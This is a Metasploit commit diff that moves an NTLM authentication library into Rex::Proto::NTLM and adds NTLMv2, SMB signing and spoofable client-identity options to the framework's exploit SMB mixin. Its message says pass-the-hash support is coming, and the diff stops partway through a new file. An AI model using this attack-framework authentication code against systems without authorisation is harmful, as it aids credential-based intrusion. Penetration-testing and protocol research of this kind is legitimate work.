enable ntlmv2 and signing for smb client stack (pth implementation is coming), fixes #11678 and #152

git-svn-id: file:///home/svn/framework3/trunk@11893 4d416f70-5f16-0410-b530-b9f4589650da
unstable
amaloteaux 2011-03-07 19:57:53 +00:00
parent 4a36907832
commit 5f6995e8d3
30 changed files with 2379 additions and 1691 deletions

View File

@ -285,7 +285,7 @@ module Exploit::Remote::HttpClient
# Get the challenge and craft the response
ntlm_challenge = resp.headers['WWW-Authenticate'].match(/NTLM ([A-Z0-9\x2b\x2f=]+)/i)[1]
return [nil,nil] unless ntlm_challenge
ntlm_message_2 = Net::NTLM::Message.decode64(ntlm_challenge)
ntlm_message_2 = Rex::Proto::NTLM::Message.decode64(ntlm_challenge)
ntlm_message_3 = ntlm_message_2.response(
{
:user => opts['username'],

View File

@ -1,7 +1,10 @@
require 'rex/proto/smb'
require 'rex/proto/dcerpc'
require 'rex/encoder/ndr'
require 'net/ntlm'
require 'rex/proto/ntlm/constants'
require 'rex/proto/ntlm/crypt'
require 'rex/proto/ntlm/base'
require 'rex/proto/ntlm/message'
module Msf
@ -39,6 +42,7 @@ module Exploit::Remote::SMB
OptString.new('SMBUser', [ false, 'The username to authenticate as', '']),
OptString.new('SMBPass', [ false, 'The password for the specified username', '']),
OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication', 'WORKGROUP']),
OptBool.new('NTLM_UseNTLMv2', [ true, "Use NTLMv2 instead of NTLM2_session when \'Negotiate NTLM2\' key is true (default on vista and above)\n[valid when NTLM_UseNTLM2_session = true]", false]),
], Msf::Exploit::Remote::SMB::Authenticated)
end
end
@ -65,7 +69,18 @@ module Exploit::Remote::SMB
OptString.new('SMBUser', [ false, 'The username to authenticate as', '']),
OptString.new('SMBPass', [ false, 'The password for the specified username', '']),
OptString.new('SMBDomain', [ false, 'The Windows domain to use for authentication', '.']),
OptString.new('SMBName', [ true, 'The NetBIOS hostname (required for port 139 connections)', '*SMBSERVER'])
OptString.new('SMBName', [ true, 'The NetBIOS hostname (required for port 139 connections)', '*SMBSERVER']),
OptBool.new('SMB_Verify_Signature', [ true, "When set this parameter will require server to correctly sign smb packets", false]),
OptInt.new('SMB_CHUNK_SIZE', [ true, 'The chunk size for writing, bigger values will increase speed but may result in STATUS_ACCESS_DENIED in presence of signing, nt4 also do not like big values', 500]),
OptString.new('SMBNative_OS', [ true, 'The Native OS to send during authentification', 'Windows 2000 2195']),
OptString.new('SMBNative_LM', [ true, 'The Native LM to send during authentification', 'Windows 2000 5.0']),
OptBool.new('NTLM_UseNTLMv2', [ true, "Use NTLMv2 instead of NTLM2_session when \'Negotiate NTLM2\' key is true (default on vista and above)\n[valid when NTLM_UseNTLM2_session = true]", false]),
OptBool.new('NTLM_UseNTLM2_session', [ true, 'Activate the \'Negotiate NTLM2 key\' flag in ntlm authentification, when set client will use ntlm2_session instead of ntlmv1 (default on win 2K and above)', true]),
OptBool.new('NTLM_Send_LM', [ true, "When set, client will send lm response, this has no effect on ntlm2_session response ( vista and above do not send lm response by default)\n[no effect when NTLM_UseNTLM2_session = true, NTLM_UseNTLMv2 = false or NTLM_Send_NTLM = false]", true]),
OptBool.new('NTLM_Use_LanManager_key', [ true, "Activate \'Negotiate Lan Manager Key\' in ntlm authentification, when this flag is set, server will require client to use lanman signing key, this parameter has effect only when ntlmv1 response is used and lm response is sent \n[valid when NTLM_Send_LM = true ,NTLM_Send_NTLM = true, NTLM_UseNTLM2_session = false]", false]),
OptBool.new('NTLM_Send_NTLM', [ true, 'Activate \'Negotiate NTLM key\' in ntlm authentification, when not set client will not send NTLM response (default behavior on old windows like win 95) this parameter should not be changed', true]),
], Msf::Exploit::Remote::SMB)
register_options(
@ -126,11 +141,21 @@ module Exploit::Remote::SMB
datastore['SMBName'],
datastore['SMBUser'],
datastore['SMBPass'],
datastore['SMBDomain']
datastore['SMBDomain'],
datastore['SMB_Verify_Signature'],
datastore['NTLM_UseNTLMv2'],
datastore['NTLM_UseNTLM2_session'],
datastore['NTLM_Send_LM'],
datastore['NTLM_Use_LanManager_key'],
datastore['NTLM_Send_NTLM'],
datastore['SMBNative_OS'],
datastore['SMBNative_LM']
)
simple.connect("\\\\#{datastore['RHOST']}\\IPC$")
end
# This method returns the native operating system of the peer
def smb_peer_os
self.simple.client.peer_native_os
@ -146,6 +171,13 @@ module Exploit::Remote::SMB
self.simple.create_pipe(pipe)
end
#the default chunk size of 48000 for OpenFile is not compatible when signing is enabled (and with some nt4 implementations)
#cause it looks like MS windows refuse to sign big packet and send STATUS_ACCESS_DENIED
#fd.chunk_size = 500 is better
def smb_open(path, perm)
self.simple.open(path, perm, datastore['SMB_CHUNK_SIZE'])
end
def smb_hostname
datastore['SMBName'] || '*SMBSERVER'
end
@ -624,7 +656,11 @@ module Exploit::Remote::SMBServer
UTILS = ::Rex::Proto::SMB::Utils
XCEPT = ::Rex::Proto::SMB::Exceptions
EVADE = ::Rex::Proto::SMB::Evasions
NTLM = Net::NTLM
NTLM_CONST = ::Rex::Proto::NTLM::Constants
NTLM_CRYPT = ::Rex::Proto::NTLM::Crypt
NTLM_UTILS = ::Rex::Proto::NTLM::Utils
NTLM_BASE = ::Rex::Proto::NTLM::Base
NTLM_MESSAGE = ::Rex::Proto::NTLM::Message
def initialize(info = {})
super

View File

@ -1,790 +0,0 @@
#
# = net/ntlm.rb
#
# An NTLM Authentication Library for Ruby
#
# This code is a derivative of "dbf2.rb" written by yrock
# and Minero Aoki. You can find original code here:
# http://jp.rubyist.net/magazine/?0013-CodeReview
# -------------------------------------------------------------
# Copyright (c) 2005,2006 yrock
#
# This program is free software.
# You can distribute/modify this program under the terms of the
# Ruby License.
#
# 2006-02-11 refactored by Minero Aoki
# -------------------------------------------------------------
#
# All protocol information used to write this code stems from
# "The NTLM Authentication Protocol" by Eric Glass. The author
# would thank to him for this tremendous work and making it
# available on the net.
# http://davenport.sourceforge.net/ntlm.html
# -------------------------------------------------------------
# Copyright (c) 2003 Eric Glass
#
# Permission to use, copy, modify, and distribute this document
# for any purpose and without any fee is hereby granted,
# provided that the above copyright notice and this list of
# conditions appear in all copies.
# -------------------------------------------------------------
#
# The author also looked Mozilla-Firefox-1.0.7 source code,
# namely, security/manager/ssl/src/nsNTLMAuthModule.cpp and
# Jonathan Bastien-Filiatrault's libntlm-ruby.
# "http://x2a.org/websvn/filedetails.php?
# repname=libntlm-ruby&path=%2Ftrunk%2Fntlm.rb&sc=1"
# The latter has a minor bug in its separate_keys function.
# The third key has to begin from the 14th character of the
# input string instead of 13th:)
#--
# $Id$
#++
require 'base64'
require 'openssl'
require 'openssl/digest'
require 'kconv'
module Net #:nodoc:
module NTLM
module VERSION #:nodoc:
MAJOR = 0
MINOR = 1
TINY = 1
STRING = [MAJOR, MINOR, TINY].join('.')
end
SSP_SIGN = "NTLMSSP\0"
BLOB_SIGN = 0x00000101
LM_MAGIC = "KGS!@\#$%"
TIME_OFFSET = 11644473600
MAX64 = 0xffffffffffffffff
FLAGS = {
:UNICODE => 0x00000001,
:OEM => 0x00000002,
:REQUEST_TARGET => 0x00000004,
# :UNKNOWN => 0x00000008,
:SIGN => 0x00000010,
:SEAL => 0x00000020,
# :UNKNOWN => 0x00000040,
:NETWARE => 0x00000100,
:NTLM => 0x00000200,
# :UNKNOWN => 0x00000400,
# :UNKNOWN => 0x00000800,
:DOMAIN_SUPPLIED => 0x00001000,
:WORKSTATION_SUPPLIED => 0x00002000,
:LOCAL_CALL => 0x00004000,
:ALWAYS_SIGN => 0x00008000,
:TARGET_TYPE_DOMAIN => 0x00010000,
:TARGET_INFO => 0x00800000,
:NTLM2_KEY => 0x00080000,
:KEY128 => 0x20000000,
:KEY56 => 0x80000000
}
FLAG_KEYS = FLAGS.keys.sort{|a, b| FLAGS[a] <=> FLAGS[b] }
DEFAULT_FLAGS = {
:TYPE1 => FLAGS[:UNICODE] | FLAGS[:OEM] | FLAGS[:REQUEST_TARGET] | FLAGS[:NTLM] | FLAGS[:ALWAYS_SIGN] | FLAGS[:NTLM2_KEY],
:TYPE2 => FLAGS[:UNICODE],
:TYPE3 => FLAGS[:UNICODE] | FLAGS[:REQUEST_TARGET] | FLAGS[:NTLM] | FLAGS[:ALWAYS_SIGN] | FLAGS[:NTLM2_KEY]
}
# module functions
class << self
def decode_utf16le(str)
Kconv.kconv(swap16(str), Kconv::ASCII, Kconv::UTF16)
end
def encode_utf16le(str)
swap16(Kconv.kconv(str, Kconv::UTF16, Kconv::ASCII))
end
def pack_int64le(val)
[val & 0x00000000ffffffff, val >> 32].pack("V2")
end
def swap16(str)
str.unpack("v*").pack("n*")
end
def split7(str)
s = str.dup
until s.empty?
(ret ||= []).push s.slice!(0, 7)
end
ret
end
def gen_keys(str)
split7(str).map{ |str7|
bits = split7(str7.unpack("B*")[0]).inject('')\
{|ret, tkn| ret += tkn + (tkn.gsub('1', '').size % 2).to_s }
[bits].pack("B*")
}
end
def apply_des(plain, keys)
dec = OpenSSL::Cipher::DES.new
keys.map {|k|
dec.key = k
dec.encrypt.update(plain)
}
end
def lm_hash(password, half = false)
if half then size = 7 else size = 14 end
keys = gen_keys password.upcase.ljust(size, "\0")
apply_des(LM_MAGIC, keys).join
end
def ntlm_hash(password, opt = {})
pwd = password.dup
unless opt[:unicode]
pwd = encode_utf16le(pwd)
end
OpenSSL::Digest::MD4.digest pwd
end
def ntlmv2_hash(user, password, domain, opt={})
ntlmhash = ntlm_hash(password, opt)
#With Win 7 and maybe other OSs i sometimes get my domain not uppercased, so the domain does not always need to be in uppercase
userdomain = user.upcase + domain
unless opt[:unicode]
userdomain = encode_utf16le(userdomain)
end
OpenSSL::HMAC.digest(OpenSSL::Digest::MD5.new, ntlmhash, userdomain)
end
# responses
def lm_response(arg, half = false)
begin
hash = arg[:lm_hash]
chal = arg[:challenge]
rescue
raise ArgumentError
end
chal = NTL::pack_int64le(chal) if chal.is_a?(Integer)
if half then size = 7 else size = 21 end
keys = gen_keys hash.ljust(size, "\0")
apply_des(chal, keys).join
end
def ntlm_response(arg)
hash = arg[:ntlm_hash]
chal = arg[:challenge]
chal = NTL::pack_int64le(chal) if chal.is_a?(::Integer)
keys = gen_keys hash.ljust(21, "\0")
apply_des(chal, keys).join
end
def ntlmv2_response(arg, opt = {})
begin
key = arg[:ntlmv2_hash]
chal = arg[:challenge]
rescue
raise ArgumentError , 'ntlmv2_hash and challenge are mandatory'
end
chal = NTL::pack_int64le(chal) if chal.is_a?(::Integer)
if opt[:nt_client_challenge]
unless opt[:nt_client_challenge].is_a?(::String) && opt[:nt_client_challenge].length > 24
raise ArgumentError,"nt_client_challenge is not in a correct format "
end
bb = opt[:nt_client_challenge]
else
begin
ti = arg[:target_info]
rescue
raise ArgumentError, "target_info is mandatory in this case"
end
if opt[:client_challenge]
cc = opt[:client_challenge]
else
cc = rand(MAX64)
end
cc = NTLM::pack_int64le(cc) if cc.is_a?(::Integer)
if opt[:timestamp]
ts = opt[:timestamp]
else
ts = Time.now.to_i
end
# epoch -> milsec from Jan 1, 1601
ts = 10000000 * (ts + TIME_OFFSET)
blob = Blob.new
blob.timestamp = ts
blob.challenge = cc
blob.target_info = ti
bb = blob.serialize
end
OpenSSL::HMAC.digest(OpenSSL::Digest::MD5.new, key, chal + bb) + bb
end
def lmv2_response(arg, opt = {})
key = arg[:ntlmv2_hash]
chal = arg[:challenge]
chal = NTLM::pack_int64le(chal) if chal.is_a?(::Integer)
if opt[:client_challenge]
cc = opt[:client_challenge]
else
cc = rand(MAX64)
end
cc = NTLM::pack_int64le(cc) if cc.is_a?(::Integer)
OpenSSL::HMAC.digest(OpenSSL::Digest::MD5.new, key, chal + cc) + cc
end
def ntlm2_session(arg, opt = {})
begin
passwd_hash = arg[:ntlm_hash]
chal = arg[:challenge]
rescue
raise ArgumentError
end
if opt[:client_challenge]
cc = opt[:client_challenge]
else
cc = rand(MAX64)
end
cc = NTLM::pack_int64le(cc) if cc.is_a?(Integer)
keys = gen_keys passwd_hash.ljust(21, "\0")
session_hash = OpenSSL::Digest::MD5.digest(chal + cc).slice(0, 8)
response = apply_des(session_hash, keys).join
[cc.ljust(24, "\0"), response]
end
end
# base classes for primitives
class Field
attr_accessor :active, :value
def initialize(opts)
@value = opts[:value]
@active = opts[:active].nil? ? true : opts[:active]
end
def size
@active ? @size : 0
end
end
class String < Field
def initialize(opts)
super(opts)
@size = opts[:size]
end
def parse(str, offset=0)
if @active and str.size >= offset + @size
@value = str[offset, @size]
@size
else
0
end
end
def serialize
if @active
@value
else
""
end
end
def value=(val)
@value = val
@size = @value.nil? ? 0 : @value.size
@active = (@size > 0)
end
end
class Int16LE < Field
def initialize(opt)
super(opt)
@size = 2
end
def parse(str, offset=0)
if @active and str.size >= offset + @size
@value = str[offset, @size].unpack("v")[0]
@size
else
0
end
end
def serialize
[@value].pack("v")
end
end
class Int32LE < Field
def initialize(opt)
super(opt)
@size = 4
end
def parse(str, offset=0)
if @active and str.size >= offset + @size
@value = str.slice(offset, @size).unpack("V")[0]
@size
else
0
end
end
def serialize
[@value].pack("V") if @active
end
end
class Int64LE < Field
def initialize(opt)
super(opt)
@size = 8
end
def parse(str, offset=0)
if @active and str.size >= offset + @size
d, u = str.slice(offset, @size).unpack("V2")
@value = (u * 0x100000000 + d)
@size
else
0
end
end
def serialize
[@value & 0x00000000ffffffff, @value >> 32].pack("V2") if @active
end
end
# base class of data structure
class FieldSet
class << FieldSet
def define(&block)
c = Class.new(self)
def c.inherited(subclass)
proto = @proto
subclass.instance_eval {
@proto = proto
}
end
c.module_eval(&block)
c
end
def string(name, opts)
add_field(name, String, opts)
end
def int16LE(name, opts)
add_field(name, Int16LE, opts)
end
def int32LE(name, opts)
add_field(name, Int32LE, opts)
end
def int64LE(name, opts)
add_field(name, Int64LE, opts)
end
def security_buffer(name, opts)
add_field(name, SecurityBuffer, opts)
end
def prototypes
@proto
end
def names
@proto.map{|n, t, o| n}
end
def types
@proto.map{|n, t, o| t}
end
def opts
@proto.map{|n, t, o| o}
end
private
def add_field(name, type, opts)
(@proto ||= []).push [name, type, opts]
define_accessor name
end
def define_accessor(name)
module_eval(<<-End, __FILE__, __LINE__ + 1)
def #{name}
self['#{name}'].value
end
def #{name}=(val)
self['#{name}'].value = val
end
End
end
end
def initialize
@alist = self.class.prototypes.map{ |n, t, o| [n, t.new(o)] }
end
def serialize
@alist.map{|n, f| f.serialize }.join
end
def parse(str, offset=0)
@alist.inject(offset){|cur, a| cur += a[1].parse(str, cur)}
end
def size
@alist.inject(0){|sum, a| sum += a[1].size}
end
def [](name)
a = @alist.assoc(name.to_s.intern)
raise ArgumentError, "no such field: #{name}" unless a
a[1]
end
def []=(name, val)
a = @alist.assoc(name.to_s.intern)
raise ArgumentError, "no such field: #{name}" unless a
a[1] = val
end
def enable(name)
self[name].active = true
end
def disable(name)
self[name].active = false
end
end
Blob = FieldSet.define {
int32LE :blob_signature, {:value => BLOB_SIGN}
int32LE :reserved, {:value => 0}
int64LE :timestamp, {:value => 0}
string :challenge, {:value => "", :size => 8}
int32LE :unknown1, {:value => 0}
string :target_info, {:value => "", :size => 0}
int32LE :unknown2, {:value => 0}
}
SecurityBuffer = FieldSet.define {
int16LE :length, {:value => 0}
int16LE :allocated, {:value => 0}
int32LE :offset, {:value => 0}
}
class SecurityBuffer
attr_accessor :active
def initialize(opts)
super()
@value = opts[:value]
@active = opts[:active].nil? ? true : opts[:active]
@size = 8
end
def parse(str, offset=0)
if @active and str.size >= offset + @size
super(str, offset)
@value = str[self.offset, self.length]
@size
else
0
end
end
def serialize
super if @active
end
def value
@value
end
def value=(val)
@value = val
self.length = self.allocated = val.size
end
def data_size
@active ? @value.size : 0
end
end
class Message < FieldSet
class << Message
def parse(str)
m = Type0.new
m.parse(str)
case m.type
when 1
t = Type1.parse(str)
when 2
t = Type2.parse(str)
when 3
t = Type3.parse(str)
else
raise ArgumentError, "unknown type: #{m.type}"
end
t
end
def decode64(str)
parse(Base64.decode64(str))
end
end
def has_flag?(flag)
(self[:flag].value & FLAGS[flag]) == FLAGS[flag]
end
def set_flag(flag)
self[:flag].value |= FLAGS[flag]
end
def dump_flags
FLAG_KEYS.each{ |k| print(k, "=", flag?(k), "\n") }
end
def serialize
deflag
super + security_buffers.map{|n, f| f.value}.join
end
def encode64
Base64.encode64(serialize).gsub(/\n/, '')
end
def decode64(str)
parse(Base64.decode64(str))
end
alias head_size size
def data_size
security_buffers.inject(0){|sum, a| sum += a[1].data_size}
end
def size
head_size + data_size
end
private
def security_buffers
@alist.find_all{|n, f| f.instance_of?(SecurityBuffer)}
end
def deflag
security_buffers.inject(head_size){|cur, a|
a[1].offset = cur
cur += a[1].data_size
}
end
def data_edge
security_buffers.map{ |n, f| f.active ? f.offset : size}.min
end
# sub class definitions
Type0 = Message.define {
string :sign, {:size => 8, :value => SSP_SIGN}
int32LE :type, {:value => 0}
}
Type1 = Message.define {
string :sign, {:size => 8, :value => SSP_SIGN}
int32LE :type, {:value => 1}
int32LE :flag, {:value => DEFAULT_FLAGS[:TYPE1] }
security_buffer :domain, {:value => "", :active => false}
security_buffer :workstation, {:value => "", :active => false}
string :padding, {:size => 0, :value => "", :active => false }
}
class Type1
class << Type1
def parse(str)
t = new
t.parse(str)
t
end
end
def parse(str)
super(str)
enable(:domain) if has_flag?(:DOMAIN_SUPPLIED)
enable(:workstation) if has_flag?(:WORKSTATION_SUPPLIED)
super(str)
if ( (len = data_edge - head_size) > 0)
self.padding = "\0" * len
super(str)
end
end
end
Type2 = Message.define{
string :sign, {:size => 8, :value => SSP_SIGN}
int32LE :type, {:value => 2}
security_buffer :target_name, {:size => 0, :value => ""}
int32LE :flag, {:value => DEFAULT_FLAGS[:TYPE2]}
int64LE :challenge, {:value => 0}
int64LE :context, {:value => 0, :active => false}
security_buffer :target_info, {:value => "", :active => false}
string :padding, {:size => 0, :value => "", :active => false }
}
class Type2
class << Type2
def parse(str)
t = new
t.parse(str)
t
end
end
def parse(str)
super(str)
if has_flag?(:TARGET_INFO)
enable(:context)
enable(:target_info)
super(str)
end
if ( (len = data_edge - head_size) > 0)
self.padding = "\0" * len
super(str)
end
end
def response(arg, opt = {})
usr = arg[:user]
pwd = arg[:password]
if usr.nil? or pwd.nil?
raise ArgumentError, "user and password have to be supplied"
end
if opt[:workstation]
ws = opt[:workstation]
else
ws = ""
end
if opt[:client_challenge]
cc = opt[:client_challenge]
else
cc = rand(MAX64)
end
cc = NTLM::pack_int64le(cc) if cc.is_a?(Integer)
opt[:client_challenge] = cc
if has_flag?(:OEM) and opt[:unicode]
usr = NTLM::decode_utf16le(usr)
pwd = NTLM::decode_utf16le(pwd)
ws = NTLM::decode_utf16le(ws)
opt[:unicode] = false
end
if has_flag?(:UNICODE) and !opt[:unicode]
usr = NTLM::encode_utf16le(usr)
pwd = NTLM::encode_utf16le(pwd)
ws = NTLM::encode_utf16le(ws)
opt[:unicode] = true
end
tgt = self.target_name
ti = self.target_info
chal = self[:challenge].serialize
if opt[:ntlmv2]
ar = {:ntlmv2_hash => NTLM::ntlmv2_hash(usr, pwd, tgt, opt), :challenge => chal, :target_info => ti}
lm_res = NTLM::lmv2_response(ar, opt)
ntlm_res = NTLM::ntlmv2_response(ar, opt)
elsif has_flag?(:NTLM2_KEY)
ar = {:ntlm_hash => NTLM::ntlm_hash(pwd, opt), :challenge => chal}
lm_res, ntlm_res = NTLM::ntlm2_session(ar, opt)
else
lm_res = NTLM::lm_response(pwd, chal)
ntlm_res = NTLM::ntlm_response(pwd, chal)
end
Type3.create({
:lm_response => lm_res,
:ntlm_response => ntlm_res,
:domain => tgt,
:user => usr,
:workstation => ws,
:flag => self.flag
})
end
end
Type3 = Message.define{
string :sign, {:size => 8, :value => SSP_SIGN}
int32LE :type, {:value => 3}
security_buffer :lm_response, {:value => ""}
security_buffer :ntlm_response, {:value => ""}
security_buffer :domain, {:value => ""}
security_buffer :user, {:value => ""}
security_buffer :workstation, {:value => ""}
security_buffer :session_key, {:value => "", :active => false }
int64LE :flag, {:value => 0, :active => false }
}
class Type3
class << Type3
def parse(str)
t = new
t.parse(str)
t
end
def create(arg, opt ={})
t = new
t.lm_response = arg[:lm_response]
t.ntlm_response = arg[:ntlm_response]
t.domain = arg[:domain]
t.user = arg[:user]
t.workstation = arg[:workstation]
if arg[:session_key]
t.enable(:session_key)
t.session_key = arg[session_key]
end
if arg[:flag]
t.enable(:session_key)
t.enable(:flag)
t.flag = arg[:flag]
end
t
end
end
end
end
end
end

View File

@ -1,5 +1,6 @@
require 'rex/proto/http'
require 'rex/proto/smb'
require 'rex/proto/ntlm'
require 'rex/proto/dcerpc'
require 'rex/proto/drda'

7
lib/rex/proto/ntlm.rb Normal file
View File

@ -0,0 +1,7 @@
require 'rex/proto/ntlm/constants'
require 'rex/proto/ntlm/exceptions'
require 'rex/proto/ntlm/crypt'
require 'rex/proto/ntlm/utils'
require 'rex/proto/ntlm/base'
require 'rex/proto/ntlm/message'

32
lib/net/ntlm.rb.ut.rb → lib/rex/proto/ntlm.rb.ut.rb Executable file → Normal file
View File

@ -1,6 +1,6 @@
#!/usr/bin/env ruby
require 'test/unit'
require 'net/ntlm'
require 'rex/proto/ntlm'
require 'rex/socket'
class ConnectionTest < Test::Unit::TestCase
@ -35,7 +35,7 @@ class ConnectionTest < Test::Unit::TestCase
end
def client_auth(pw)
msg_1 = Net::NTLM::Message::Type1.new
msg_1 = Rex::Proto::NTLM::Message::Type1.new
get_req = http_message(msg_1)
socket = Rex::Socket.create_tcp(
'PeerHost' => @host,
@ -46,7 +46,7 @@ class ConnectionTest < Test::Unit::TestCase
assert res =~ /WWW-Authenticate: NTLM TlRM/
res_ntlm = res.match(/WWW-Authenticate: NTLM ([A-Z0-9\x2b\x2f=]+)/i)[1]
assert_operator res_ntlm.size, :>=, 24
msg_2 = Net::NTLM::Message.decode64(res_ntlm)
msg_2 = Rex::Proto::NTLM::Message.decode64(res_ntlm)
assert msg_2
msg_3 = msg_2.response({:user => @user, :password => pw}, {:ntlmv2 => true})
assert msg_3
@ -90,24 +90,24 @@ class FunctionTest < Test::Unit::TestCase #:nodoc:
def test_lm_hash
ahash = ["ff3750bcc2b22412c2265b23734e0dac"].pack("H*")
assert_equal ahash, Net::NTLM::lm_hash(@passwd)
assert_equal ahash, Rex::Proto::NTLM::Crypt::lm_hash(@passwd)
end
def test_ntlm_hash
ahash = ["cd06ca7c7e10c99b1d33b7485a2ed808"].pack("H*")
assert_equal ahash, Net::NTLM::ntlm_hash(@passwd)
assert_equal ahash, Rex::Proto::NTLM::Crypt::ntlm_hash(@passwd)
end
def test_ntlmv2_hash
ahash = ["04b8e0ba74289cc540826bab1dee63ae"].pack("H*")
assert_equal ahash, Net::NTLM::ntlmv2_hash(@user, @passwd, @domain)
assert_equal ahash, Rex::Proto::NTLM::Crypt::ntlmv2_hash(@user, @passwd, @domain)
end
def test_lm_response
ares = ["c337cd5cbd44fc9782a667af6d427c6de67c20c2d3e77c56"].pack("H*")
assert_equal ares, Net::NTLM::lm_response(
assert_equal ares, Rex::Proto::NTLM::Crypt::lm_response(
{
:lm_hash => Net::NTLM::lm_hash(@passwd),
:lm_hash => Rex::Proto::NTLM::Crypt::lm_hash(@passwd),
:challenge => @challenge
}
)
@ -115,8 +115,8 @@ class FunctionTest < Test::Unit::TestCase #:nodoc:
def test_ntlm_response
ares = ["25a98c1c31e81847466b29b2df4680f39958fb8c213a9cc6"].pack("H*")
ntlm_hash = Net::NTLM::ntlm_hash(@passwd)
assert_equal ares, Net::NTLM::ntlm_response(
ntlm_hash = Rex::Proto::NTLM::Crypt::ntlm_hash(@passwd)
assert_equal ares, Rex::Proto::NTLM::Crypt::ntlm_response(
{
:ntlm_hash => ntlm_hash,
:challenge => @challenge
@ -126,9 +126,9 @@ class FunctionTest < Test::Unit::TestCase #:nodoc:
def test_lmv2_response
ares = ["d6e6152ea25d03b7c6ba6629c2d6aaf0ffffff0011223344"].pack("H*")
assert_equal ares, Net::NTLM::lmv2_response(
assert_equal ares, Rex::Proto::NTLM::Crypt::lmv2_response(
{
:ntlmv2_hash => Net::NTLM::ntlmv2_hash(@user, @passwd, @domain),
:ntlmv2_hash => Rex::Proto::NTLM::Crypt::ntlmv2_hash(@user, @passwd, @domain),
:challenge => @challenge
},
{ :client_challenge => @client_ch }
@ -148,9 +148,9 @@ class FunctionTest < Test::Unit::TestCase #:nodoc:
"6e002e0063006f006d00000000000000" +
"0000"
].pack("H*")
assert_equal ares, Net::NTLM::ntlmv2_response(
assert_equal ares, Rex::Proto::NTLM::Crypt::ntlmv2_response(
{
:ntlmv2_hash => Net::NTLM::ntlmv2_hash(@user, @passwd, @domain),
:ntlmv2_hash => Rex::Proto::NTLM::Crypt::ntlmv2_hash(@user, @passwd, @domain),
:challenge => @challenge,
:target_info => @trgt_info
},
@ -164,9 +164,9 @@ class FunctionTest < Test::Unit::TestCase #:nodoc:
def test_ntlm2_session
acha = ["ffffff001122334400000000000000000000000000000000"].pack("H*")
ares = ["10d550832d12b2ccb79d5ad1f4eed3df82aca4c3681dd455"].pack("H*")
session = Net::NTLM::ntlm2_session(
session = Rex::Proto::NTLM::Crypt::ntlm2_session(
{
:ntlm_hash => Net::NTLM::ntlm_hash(@passwd),
:ntlm_hash => Rex::Proto::NTLM::Crypt::ntlm_hash(@passwd),
:challenge => @challenge
},
{ :client_challenge => @client_ch }

326
lib/rex/proto/ntlm/base.rb Normal file
View File

@ -0,0 +1,326 @@
#
# An NTLM Authentication Library for Ruby
#
# This code is a derivative of "dbf2.rb" written by yrock
# and Minero Aoki. You can find original code here:
# http://jp.rubyist.net/magazine/?0013-CodeReview
# -------------------------------------------------------------
# Copyright (c) 2005,2006 yrock
#
# This program is free software.
# You can distribute/modify this program under the terms of the
# Ruby License.
#
# 2011-02-23 refactored by Alexandre Maloteaux for Metasploit Project
# -------------------------------------------------------------
#
# 2006-02-11 refactored by Minero Aoki
# -------------------------------------------------------------
#
# All protocol information used to write this code stems from
# "The NTLM Authentication Protocol" by Eric Glass. The author
# would thank to him for this tremendous work and making it
# available on the net.
# http://davenport.sourceforge.net/ntlm.html
# -------------------------------------------------------------
# Copyright (c) 2003 Eric Glass
#
# Permission to use, copy, modify, and distribute this document
# for any purpose and without any fee is hereby granted,
# provided that the above copyright notice and this list of
# conditions appear in all copies.
# -------------------------------------------------------------
#
# The author also looked Mozilla-Firefox-1.0.7 source code,
# namely, security/manager/ssl/src/nsNTLMAuthModule.cpp and
# Jonathan Bastien-Filiatrault's libntlm-ruby.
# "http://x2a.org/websvn/filedetails.php?
# repname=libntlm-ruby&path=%2Ftrunk%2Fntlm.rb&sc=1"
# The latter has a minor bug in its separate_keys function.
# The third key has to begin from the 14th character of the
# input string instead of 13th:)
#--
# $Id: ntlm.rb 11678 2011-01-30 19:26:35Z hdm $
#++
#this class defines the base type needed for other modules like message and crypt
require 'rex/proto/ntlm/constants'
module Rex
module Proto
module NTLM
class Base
CONST = Rex::Proto::NTLM::Constants
# base classes for primitives
class Field
attr_accessor :active, :value
def initialize(opts)
@value = opts[:value]
@active = opts[:active].nil? ? true : opts[:active]
end
def size
@active ? @size : 0
end
end
class String < Field
def initialize(opts)
super(opts)
@size = opts[:size]
end
def parse(str, offset=0)
if @active and str.size >= offset + @size
@value = str[offset, @size]
@size
else
0
end
end
def serialize
if @active
@value
else
""
end
end
def value=(val)
@value = val
@size = @value.nil? ? 0 : @value.size
@active = (@size > 0)
end
end
class Int16LE < Field
def initialize(opt)
super(opt)
@size = 2
end
def parse(str, offset=0)
if @active and str.size >= offset + @size
@value = str[offset, @size].unpack("v")[0]
@size
else
0
end
end
def serialize
[@value].pack("v")
end
end
class Int32LE < Field
def initialize(opt)
super(opt)
@size = 4
end
def parse(str, offset=0)
if @active and str.size >= offset + @size
@value = str.slice(offset, @size).unpack("V")[0]
@size
else
0
end
end
def serialize
[@value].pack("V") if @active
end
end
class Int64LE < Field
def initialize(opt)
super(opt)
@size = 8
end
def parse(str, offset=0)
if @active and str.size >= offset + @size
d, u = str.slice(offset, @size).unpack("V2")
@value = (u * 0x100000000 + d)
@size
else
0
end
end
def serialize
[@value & 0x00000000ffffffff, @value >> 32].pack("V2") if @active
end
end
# base class of data structure
class FieldSet
class << FieldSet
def define(&block)
c = Class.new(self)
def c.inherited(subclass)
proto = @proto
subclass.instance_eval {
@proto = proto
}
end
c.module_eval(&block)
c
end
def string(name, opts)
add_field(name, String, opts)
end
def int16LE(name, opts)
add_field(name, Int16LE, opts)
end
def int32LE(name, opts)
add_field(name, Int32LE, opts)
end
def int64LE(name, opts)
add_field(name, Int64LE, opts)
end
def security_buffer(name, opts)
add_field(name, SecurityBuffer, opts)
end
def prototypes
@proto
end
def names
@proto.map{|n, t, o| n}
end
def types
@proto.map{|n, t, o| t}
end
def opts
@proto.map{|n, t, o| o}
end
private
def add_field(name, type, opts)
(@proto ||= []).push [name, type, opts]
define_accessor name
end
def define_accessor(name)
module_eval(<<-End, __FILE__, __LINE__ + 1)
def #{name}
self['#{name}'].value
end
def #{name}=(val)
self['#{name}'].value = val
end
End
end
end #self
def initialize
@alist = self.class.prototypes.map{ |n, t, o| [n, t.new(o)] }
end
def serialize
@alist.map{|n, f| f.serialize }.join
end
def parse(str, offset=0)
@alist.inject(offset){|cur, a| cur += a[1].parse(str, cur)}
end
def size
@alist.inject(0){|sum, a| sum += a[1].size}
end
def [](name)
a = @alist.assoc(name.to_s.intern)
raise ArgumentError, "no such field: #{name}" unless a
a[1]
end
def []=(name, val)
a = @alist.assoc(name.to_s.intern)
raise ArgumentError, "no such field: #{name}" unless a
a[1] = val
end
def enable(name)
self[name].active = true
end
def disable(name)
self[name].active = false
end
end
Blob = FieldSet.define {
